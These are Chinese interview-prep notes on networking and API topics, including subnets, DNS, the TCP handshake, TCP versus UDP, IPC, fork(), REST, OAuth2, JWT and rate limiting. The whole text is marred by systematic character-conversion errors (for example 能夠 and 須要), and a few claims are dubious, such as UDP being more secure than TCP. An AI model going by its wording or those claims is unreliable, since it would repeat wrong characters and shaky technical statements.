這裏有兩種算法舉例
這裏是一種不一樣的思路
192.168.0.1/16 是什麼意思
學過計算機網絡課程的應該不難理解。
192.168.0.0/16表示網絡碼佔16位,也就是說該網絡上能夠有65534個主機(2^16-2)IP範圍:192.168.0.1~192.168.255.254,192.168.255.255是廣播地址,不能被主機使用。設置IP地址的時候:192.168.x.y 子網掩碼:255.255.0.0
DNS 主要做用是什麼?
通俗的講,我以爲dns就是ip和域名之間的翻譯器,學名叫域名解析器,下面是術語解釋:
DNS是域名系統 (Domain Name System) 的縮寫,該系統用於命名組織到域層次結構中的計算機和網絡服務。DNS 命名用於 Internet 等 TCP/IP 網絡中,經過用戶友好的名稱查找計算機和服務。當用戶在應用程序中輸入 DNS 名稱時,DNS 服務能夠將此名稱解析爲與之相關的其餘信息,如 IP 地址。由於,你在上網時輸入的網址,是經過域名解析系解析找到相對應的IP地址,這樣才能上網。其實,域名的最終指向是IP。
IPv4 與 v6 區別
與IPV4相比,IPV6具備如下幾個優點:
1.IPv6具備更大的地址空間。IPv4中規定IP地址長度爲32,最大地址個數爲2^32;而IPv6中IP地址的長度爲128,即最大地址個數爲2^128。與32位地址空間相比,其地址空間增長了2^128-2^32個。
2.IPv6使用更小的路由表。IPv6的地址分配一開始就遵循聚類(Aggregation)的原則,這使得路由器能在路由表中用一條記錄(Entry)表示一片子網,大大減少了路由器中路由表的長度,提升了路由器轉發數據包的速度。
3.IPv6增長了加強的組播(Multicast)支持以及對流的控制(Flow Control),這使得網絡上的多媒體應用有了長足發展的機會,爲服務質量(QoS,Quality of Service)控制提供了良好的網絡平臺。
4.IPv6加入了對自動配置(Auto Configuration)的支持。這是對DHCP協議的改進和擴展,使得網絡(尤爲是局域網)的管理更加方便和快捷。
5.IPv6具備更高的安全性。在使用IPv6網絡中用戶能夠對網絡層的數據進行加密並對IP報文進行校驗,在IPV6中的加密與鑑別選項提供了分組的保密性與完整性。極大的加強了網絡的安全性。
6.容許擴充。若是新的技術或應用須要時,IPV6容許協議進行擴充。
7.更好的頭部格式。IPV6使用新的頭部格式,其選項與基本頭部分開,若是須要,可將選項插入到基本頭部與上層數據之間。這就簡化和加速了路由選擇過程,由於大多數的選項不須要由路由選擇。
8.新的選項。IPV6有一些新的選項來實現附加的功能。
網絡編程篇
TCP 三次握手流程
原文連接(還有更多介紹)
在TCP/IP協議中,TCP協議提供可靠的鏈接服務,採用三次握手創建一個鏈接.
第一次握手:創建鏈接時,客戶端發送syn包(syn=j)到服務器,並進入SYN_SEND狀態,等待服務器確認;
SYN:同步序列編號(Synchronize Sequence Numbers)
第二次握手:服務器收到syn包,必須確認客戶的SYN(ack=j+1),同時本身也發送一個SYN包(syn=k),即SYN+ACK包,此時服務器進入SYN_RECV狀態;
第三次握手:客戶端收到服務器的SYN+ACK包,向服務器發送確認包ACK(ack=k+1),此包發送完畢,客戶端和服務器進入ESTABLISHED狀態,完成三次握手.
完成三次握手,客戶端與服務器開始傳送數據
TCP、UDP 區別,分別適用場景
TCP(Transmission Control Protocol,傳輸控制協議)與UDP(User Datagram Protocol,用戶數據報協議)都是OSI七層模型中的傳輸層協議,他們的區別主要體如今如下這幾個方面
(1)是否面向鏈接
【1】TCP是面向鏈接的,即發送數據前須要與目標主機創建鏈接。
【2】UDP面向無鏈接的,發送數據前不須要創建鏈接。
(2)是否提供可靠交付
【1】TCP在傳輸數據以前,須要三次握手來創建鏈接,而且經過數據校驗、擁塞控制、重傳控制、滑動窗口和確認應答等機制來實現可靠交付。數據傳輸過程當中,數據無丟失,無重複,無亂序。
【2】UDP不提供可靠交付,只有經過檢驗和去丟棄那些不完整的報文,盡最大努力來保證交付的可靠性。
(3)工做效率
【1】前面提到TCP傳輸數據的控制很是多,這也致使了TCP網絡開銷大,工做效率相對低下,對系統的資源要求也比較高。
【2】UDP傳輸控制簡單,所以工做效率相對高,對系統資源的要求偏低。
(4)實時性
【1】TCP傳輸數據的控制程序較多,大幅度下降了數據傳輸的實時性。
【2】UDP協議簡單,數據實時性較高。
(5)安全性
【1】TCP傳輸機制多,容易被利用,例如DOS、DDOS攻擊,所以在安全性上,不如UDP。
【2】UDP沒有TCP這麼多機制,被利用的機會就會少不少,但UDP不是絕對安全,也會被攻擊。
TCP與UDP的適用場景
TCP:
對數據傳輸的質量有較高要求,但對實時性要求不高。好比HTTP,HTTPS,FTP等傳輸文件的協議以及POP,SMTP等郵件傳輸的協議,應選用TCP協議。
UDP:
只對數據傳輸的實時性要求較高,但不對傳輸質量有要求。好比視頻傳輸、實時通訊等,應選用UDP協議。
有什麼辦法能保證 UDP 高可用性(瞭解)
Csdn博客
TCP 粘包如何解決?
原文連接
TCP粘包是指發送方發送的若干包數據到接收方接收時粘成一包,從接收緩衝區看,後一包數據的頭緊接着前一包數據的尾。
如何解決:
(1)發送方
對於發送方形成的粘包現象,咱們能夠經過關閉Nagle算法來解決,使用TCP_NODELAY選項來關閉Nagle算法。
(3)應用層處理
應用層的處理簡單易行!而且不只能夠解決接收方形成的粘包問題,還能解決發送方形成的粘包問題。解決方法就是循環處理:應用程序在處理從緩存讀來的分組時,讀完一條數據時,就應該循環讀下一條數據,直到全部的數據都被處理;可是如何判斷每條數據的長度呢?兩種途徑:
1)格式化數據:每條數據有固定的格式(開始符、結束符),這種方法簡單易行,但選擇開始符和結束符的時候必定要注意每條數據的內部必定不能出現開始符或結束符;
2)發送長度:發送每條數據的時候,將數據的長度一併發送,好比能夠選擇每條數據的前4位是數據的長度,應用層處理時能夠根據長度來判斷每條數據的開始和結束。
爲何須要心跳?
若是沒有特地的設置某些選項或者實現應用層心跳包,TCP空閒的時候是不會發送任何數據包。也就是說,當一個TCP的socket,客戶端與服務端誰也不發送數據,會一直保持着鏈接。這其中若是有一方異常掉線(例如死機、路由被破壞、防火牆切斷鏈接等),另外一端若是沒有發送數據,永遠也不可能知道。這對於一些服務型的程序來講,是災難性的後果,將會致使服務端socket資源耗盡。
因此爲了保證鏈接的有效性、及時有效地檢測到一方的非正常斷開,保證鏈接的資源被有效的利用,咱們就會須要一種保活的機制,一般改機制兩種處理方式:一、利用TCP協議層實現的Keepalive;二、本身在應用層實現心跳包。
什麼是長鏈接?
這裏所說的鏈接是指網絡傳輸層的使用TCP協議通過三次握手創建的鏈接;長鏈接是指創建的鏈接長期保持,無論此時有無數據包的發送;有長鏈接天然也有短鏈接,短鏈接是指雙方有數據發送時,就創建鏈接,發送幾回請求後,就主動或者被動斷開鏈接。
心跳和長鏈接在一塊兒介紹的緣由是,心跳可以給長鏈接提供保活功能,可以檢測長鏈接是否正常(這裏所說的保活不能簡單的理解爲保證活着,具體來講應該是一旦鏈路死了,不可用了,可以儘快知道,而後作些其餘的高可用措施,來保證系統的正常運行)。
HTTPS 是怎麼保證安全的?
說簡單點就是經過加密傳輸過程,具體查看如下連接:
Csdn博客
另外一篇
流與數據報的區別
原文連接
「TCP是一種流模式的協議,UDP是一種數據報模式的協議」,
一、TCP
打個比方比喻TCP,你家裏有個蓄水池,你能夠裏面倒水,蓄水池上有個龍頭,你能夠經過龍頭將水池裏的水放出來,而後用各類各樣的容器裝(杯子、礦泉水瓶、鍋碗瓢盆)接水。 上面的例子中,往水池裏倒幾回水和接幾回水是沒有必然聯繫的,也就是說你能夠只倒一次水,而後分10次接完。另外,水池裏的水接多少就會少多少;往裏面倒多少水,就會增長多少水,可是不能超過水池的容量,多出的水會溢出。
結合TCP的概念,水池就比如接收緩存,倒水就至關於發送數據,接水就至關於讀取數據。比如你經過TCP鏈接給另外一端發送數據,你只調用了一次write,發送了100個字節,可是對方能夠分10次收完,每次10個字節;你也能夠調用10次write,每次10個字節,可是對方能夠一次就收完。(假設數據都能到達)可是,你發送的數據量不能大於對方的接收緩存(流量控制),若是你硬是要發送過量數據,則對方的緩存滿了就會把多出的數據丟棄。 這種狀況是設置非阻塞I/O模型,會把內存耗盡,由於socket是存在內核中的。
二、UDP
UDP和TCP不一樣,發送端調用了幾回write,接收端必須用相同次數的read讀完。UPD是基於報文的,在接收的時候,每次最多隻能讀取一個報文,報文和報文是不會合並的,若是緩衝區小於報文長度,則多出的部分會被丟棄。也就說,若是不指定MSG_PEEK標誌,每次讀取操做將消耗一個報文。
三、爲何
其實,這種不一樣是由TCP和UDP的特性決定的。TCP是面向鏈接的,也就是說,在鏈接持續的過程當中,socket中收到的數據都是由同一臺主機發出的(劫持什麼的不考慮),所以,知道保證數據是有序的到達就好了,至於每次讀取多少數據本身看着辦。
而UDP是無鏈接的協議,也就是說,只要知道接收端的IP和端口,且網絡是可達的,任何主機均可以向接收端發送數據。這時候,若是一次能讀取超過一個報文的數據,則會亂套。好比,主機A向發送了報文P1,主機B發送了報文P2,若是可以讀取超過一個報文的數據,那麼就會將P1和P2的數據合併在了一塊兒,這樣的數據是沒有意義的。
進程間通訊幾種方式,最快的是哪一種?
原文連接
1.無名管道( pipe ):管道是一種半雙工的通訊方式,數據只能單向流動,並且只能在具備親緣關係的進程間使用。進程的親緣關係一般是指父子進程關係。
2.高級管道(popen):將另外一個程序當作一個新的進程在當前程序進程中啓動,則它算是當前程序的子進程,這種方式咱們成爲高級管道方式。
3.有名管道 (named pipe) : 有名管道也是半雙工的通訊方式,可是它容許無親緣關係進程間的通訊。
4.消息隊列( message queue ) : 消息隊列是由消息的鏈表,存放在內核中並由消息隊列標識符標識。消息隊列克服了信號傳遞信息少、管道只能承載無格式字節流以及緩衝區大小受限等缺點。
5.信號量( semophore ) : 信號量是一個計數器,能夠用來控制多個進程對共享資源的訪問。它常做爲一種鎖機制,防止某進程正在訪問共享資源時,其餘進程也訪問該資源。所以,主要做爲進程間以及同一進程內不一樣線程之間的同步手段。
6.信號 ( sinal ) : 信號是一種比較複雜的通訊方式,用於通知接收進程某個事件已經發生。
7.共享內存( shared memory ) :共享內存就是映射一段能被其餘進程所訪問的內存,這段共享內存由一個進程建立,但多個進程均可以訪問。共享內存是最快的 IPC 方式,它是針對其餘進程間通訊方式運行效率低而專門設計的。它每每與其餘通訊機制,如信號兩,配合使用,來實現進程間的同步和通訊。
8.套接字( socket ) : 套解字也是一種進程間通訊機制,與其餘通訊機制不一樣的是,它可用於不一樣機器間的進程通訊
fork() 會發生什麼?
一個進程,包括代碼、數據和分配給進程的資源。fork()函數經過系統調用建立一個與原來進程幾乎徹底相同的進程,也就是兩個進程能夠作徹底相同的事,但若是初始參數或者傳入的變量不一樣,兩個進程也能夠作不一樣的事。
一個進程調用fork()函數後,系統先給新的進程分配資源,例如存儲數據和代碼的空間。而後把原來的進程的全部值都複製到新的新進程中,只有少數值與原來的進程的值不一樣。至關於克隆了一個本身。
一個有趣的問題:
連續兩次fork()會產生幾個進程呢?fork();fork();會產生幾個進程呢?
新建立3個,加上一開始的父進程,共4個
假定當前進程爲A,
fork(); 產生第一個子進程 A1
fork(); A調用fork產生它的子進程A2, 前一個子進程A1調用fork再次產生進程 A11
全部總共產生了3個子進程,分別是 A1, A2, A11
API 篇
RESTful 是什麼
知乎原文
RESTful指API的設計風格,重點在於理解REST -- REpresentational State Transfer。全稱是 Resource Representational State Transfer:通俗來說就是:資源在網絡中以某種表現形式進行狀態轉移。分解開來:
Resource:資源,即數據(前面說過網絡的核心)。好比 newsfeed,friends等;
Representational:某種表現形式,好比用JSON,XML,JPEG等;
State Transfer:狀態變化。經過HTTP動詞實現。
更通俗更好理解的一個說法:
看Url就知道要什麼
看http method就知道幹什麼
看http status code就知道結果如何
如何在不支持 DELETE 請求的瀏覽器上兼容 DELETE 請求
沒有找到太多資料,多數是這樣作:
能夠用POST來代替PUT和DELETE, 好比你能夠埋一個hidden field叫 _method, <input type="hidden" name="_method" value="PUT">. 這樣,你在後臺能夠根據這個字段來識別.
常見 API 的 APP_ID APP_SECRET 主要做用是什麼?闡述下流程
客戶端(app/瀏覽器)將用戶導向第三方認證服務器
用戶在第三方認證服務器,選擇是否給予客戶端受權
用戶贊成受權後,認證服務器將用戶導向客戶端事先指定的重定向URI,同時附上一個受權碼。
客戶端將受權碼發送至服務器,服務器經過受權碼以及APP_SECRET向第三方服務器申請access_token
服務器經過access_token,向第三方服務器申請用戶數據,完成登錄流程,
APP_SECRET 存儲在客戶端,客戶端獲取受權碼以後,直接經過受權碼和 APP_SECRET 去第三方換取 access_token。
APP_SECRET 存儲在服務端,客戶端獲取受權碼以後,將受權碼發送給服務器,服務器經過受權碼和 APP_SECRET 去第三方換取 access_token。(推薦)
API 請求如何保證數據不被篡改?
通訊使用https;
請求籤名,防止參數被篡改,簽名很重要,好比微信阿里等的對外接口的簽名功能。
身份確認機制,每次請求都要驗證是否合法;
APP中使用ssl pinning防止抓包操做;
對全部請求和響應都進行加解密操做。
JSON 和 JSONP 的區別
Json和JsonP雖然只差一個字母,但卻根本不是一回事:原文連接
JSON是一種描述信息的格式,或者叫作數據描述格式;
jsonp是一種非官方跨域數據交互協議,如同ajax同樣,它也不必定非要用json格式來傳遞數據,若是你願意,字符串都行,只不過這樣不利於用jsonp提供公開服務。總而言之,jsonp不是ajax的一個特例,哪怕jquery等巨頭把jsonp封裝進了ajax,也不能改變這一點!jsonp是一種跨域請求方式。主要原理是利用了script標籤能夠跨域請求的特色,由其src屬性發送請求到服務器,服務器返回js代碼,網頁端接受響應,而後就直接執行了,這和經過script標籤引用外部文件的原理是同樣的。Jsonp只支持Get請求方式。
思否相關帖子不一樣理解
數據加密和驗籤的區別
知乎原文
若是要用最簡單的方法來解釋,就是加密和簽名是兩個相反的過程。這裏你提這個問題,通常來講是指的非對稱的狀況。在非對稱的狀況下,加密過程是把私鑰本身保存下來,把公鑰開放了發佈出去,而後其餘人經過公鑰加密給你通訊,因爲只能由私鑰解密,因此最後數據只有你可以讀取;簽名就正好相反,是你把數據經過私鑰加密了而後把數據發出去,別人可以經過你的公鑰解密數據就表示這個數據是你發出來的。
RSA 是什麼
來自維基:
RSA加密算法是一種非對稱加密算法。在公開密鑰加密和電子商業中RSA被普遍使用。對極大整數作因數分解的難度決定了RSA算法的可靠性。換言之,對一極大整數作因數分解愈困難,RSA算法愈可靠。假若有人找到一種快速因數分解的算法的話,那麼用RSA加密的信息的可靠性就確定會極度降低。但找到這樣的算法的可能性是很是小的。今天只有短的RSA鑰匙纔可能被強力方式解破。到當前爲止,世界上尚未任何可靠的攻擊RSA算法的方式。只要其鑰匙的長度足夠長,用RSA加密的信息其實是不能被解破的。
API 版本兼容怎麼處理
這個問題不知問的是API多版本如何區分使用仍是問的新版API怎麼兼容舊版,若是是前者通常須要維護多個版本代碼,調用時這樣區分:
從設計原則,版本寫在 header 裏面;從方便新手,寫在 URL 裏面如api.xxxx.com/v1/xxx;或者直接同時給出多個版本文檔,讓調用者本身選。
若是是後者那就不知道了。
限流(木桶、令牌桶)
木桶不知是打錯字了仍是不一樣名稱仍是更高級算法,這裏只找到了漏桶和令牌桶:
簡書原文
每個對外提供的API接口都是須要作流量控制的,否則會致使系統直接崩潰。很簡單的例子,和保險絲的原理同樣,若是用電符合超載就會燒斷保險絲斷掉電源以達到保護的做用。API限流的意義也是如此,若是API上的流量請求超過覈定的數值咱們就得對請求進行引流或者直接拒絕等操做。
漏桶算法(Leaky Bucket),如圖所示,把請求比做是水,水來了都先放進桶裏,並以限定的速度出水,當水來得過猛而出水不夠快時就會致使水直接溢出,即拒絕服務。
令牌桶算法的原理是系統會以一個恆定的速度往桶裏放入令牌,而若是請求須要被處理,則須要先從桶裏獲取一個令牌,當桶裏沒有令牌可取時,則拒絕服務。從原理上看,令牌桶算法和漏桶算法是相反的,一個「進水」,一個是「漏水」。
漏桶算法與令牌桶算法的區別在於,漏桶算法可以強行限制數據的傳輸速率,令牌桶算法可以在限制數據的平均傳輸速率的同時還容許某種程度的突發傳輸。OAuth 2 主要用在哪些場景下原文連接密碼模式(resource owner password credentials)這種模式是最不推薦的,由於 client 可能存了用戶密碼這種模式主要用來作遺留項目升級爲 oauth2 的適配方案固然若是 client 是自家的應用,也是能夠支持 refresh token 受權碼模式(authorization code)這種模式算是正宗的 oauth2 的受權模式設計了 auth code,經過這個 code 再獲取 token支持 refresh token 簡化模式(implicit)這種模式比受權碼模式少了 code 環節,回調 url 直接攜帶 token這種模式的使用場景是基於瀏覽器的應用這種模式基於安全性考慮,建議把 token 時效設置短一些不支持 refresh token 客戶端模式(client credentials)這種模式直接根據 client 的 id 和密鑰便可獲取 token,無需用戶參與這種模式比較合適消費 api 的後端服務,好比拉取一組用戶信息等不支持 refresh token,主要是沒有必要JWT目前lz主要使用的用戶認證體系,全稱JSON Web Tokens,根據維基百科的定義,JSON WEB Token(JWT,讀做 [/dʒɒt/]),是一種基於JSON的、用於在網絡上聲明某種主張的令牌(token)。JWT一般由三部分組成: 頭信息(header), 消息體(payload)和簽名(signature)。一個很好理解的對jwt的介紹:服務B你好, 服務A告訴我,我能夠操做<JWT內容>, 這是個人憑證(即JWT)PHP 中 json_encode(['key'=>123]); 與 return json_encode([]); 區別,會產生什麼問題?如何解決這個問題lz才疏學淺表示不能理解,由於字面意思看只是有沒有return的區別,也就是返回不返回json_encode後的數據了,其餘暫沒法看出。加分項瞭解經常使用語言特性,及不一樣場景適用性。 PHP VS GolangGolang是相似C/C++的靜態後端語言,天生對高併發編程支持較好。 PHP VS Python PHP VS JAVA 語言對比有太多的維度和背景,並且有時候並無意義。實際開發仍是應該綜合各方面因素選擇最適合的,而不是看市場流行和賣點如何。瞭解 PHP 擴展開發幾篇文章做爲擴展閱讀:簡書:php擴展開發思否:5分鐘php擴展開發快速入門思否:php7擴展開發Laravel-china:個人第一個php擴展熟練掌握 C雖然如今高校中編程大部分都是從c學起,但我的認爲,懂一點c容易,要達到熟練掌握的目標仍是很難滴。原文:https://blog.csdn.net/l269798518/article/details/82428601